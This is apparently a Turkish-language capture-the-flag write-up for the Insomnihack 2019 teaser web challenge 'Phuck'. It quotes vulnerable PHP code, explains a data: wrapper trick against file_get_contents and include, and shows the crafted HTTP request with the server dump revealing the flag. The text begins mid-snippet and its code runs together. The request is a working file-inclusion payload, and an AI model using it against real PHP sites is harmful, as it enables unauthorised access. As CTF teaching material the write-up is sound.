```php “127001” gibi)
---```php$mkdir($userFolder);chdir($userFolder);file_put_contents('profile',print_r($_SERVER,true));chdir('..');`````$userFolder`` değeri ile klasör açar ve o klasörün içine ``profile`` adlı dosyaya [``$_SERVER`` arrayinin](http://php.net/manual/tr/reserved.variables.server.php) içeriğini yazar.
---```php$_GET['page']=str_replace('.','',$_GET['page']);
if(!stripos(file_get_contents($_GET['page']),' döndürdüğü(return) değerini ifade edecekfile_get_contents('data:,xx/profile'); --> string 'xx/profile'include('data:,xx/profile');           --> 'data:,xx/profile' adına sahip dosyasının içeriği`````data`` wrapperi ``file_get_contents``'te çalışırken ``include``'ta çalışmadı.
yani;
```GET /?page=data:,xx/profile HTTP/1.1X-Forwarded-For: data:,xxGet-Flag: Host: phuck.teaser.insomnihack.ch
HTTP/1.1 200 OKDate: Sun, 20 Jan 2019 20:16:13 GMTServer: Apache/2.4.29 (Ubuntu)Vary: User-Agent,Accept-EncodingContent-Length: 1101Content-Type: text/html; charset=UTF-8
Array(    [HTTP_X_FORWARDED_FOR] => data:,xx    [HTTP_GET_FLAG] => INS{PhP_UrL_Phuck3rY_h3h3!}    [HTTP_HOST] => phuck.teaser.insomnihack.ch    [PATH] => /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin    [SERVER_SIGNATURE] => <address>Apache/2.4.29 (Ubuntu) Server at phuck.teaser.insomnihack.ch Port 80</address>
    [SERVER_SOFTWARE] => Apache/2.4.29 (Ubuntu)    [SERVER_NAME] => phuck.teaser.insomnihack.ch    [SERVER_ADDR] => 172.17.0.2    [SERVER_PORT] => 80    [REMOTE_ADDR] => ``CENSORED``    [DOCUMENT_ROOT] => /var/www/html/    [REQUEST_SCHEME] => http    [CONTEXT_PREFIX] =>     [CONTEXT_DOCUMENT_ROOT] => /var/www/html/    [SERVER_ADMIN] => [no address given]    [SCRIPT_FILENAME] => /var/www/html/index.php    [REMOTE_PORT] => 42696    [GATEWAY_INTERFACE] => CGI/1.1    [SERVER_PROTOCOL] => HTTP/1.1    [REQUEST_METHOD] => GET    [QUERY_STRING] => page=data:,xx/profile    [REQUEST_URI] => /?page=data:,xx/profile    [SCRIPT_NAME] => /index.php    [PHP_SELF] => /index.php    [REQUEST_TIME_FLOAT] => 1548015373.641    [REQUEST_TIME] => 1548015373)
```
Ve flag ``INS{PhP_UrL_Phuck3rY_h3h3!}``------### NOT: Soruyu CTF sırasınca çözmüş olmayıp, CTF sornası IRC'den verilen bilgiler (``Blaklis`` tarafından) yardımı ile yazılmıştır 
~ c3z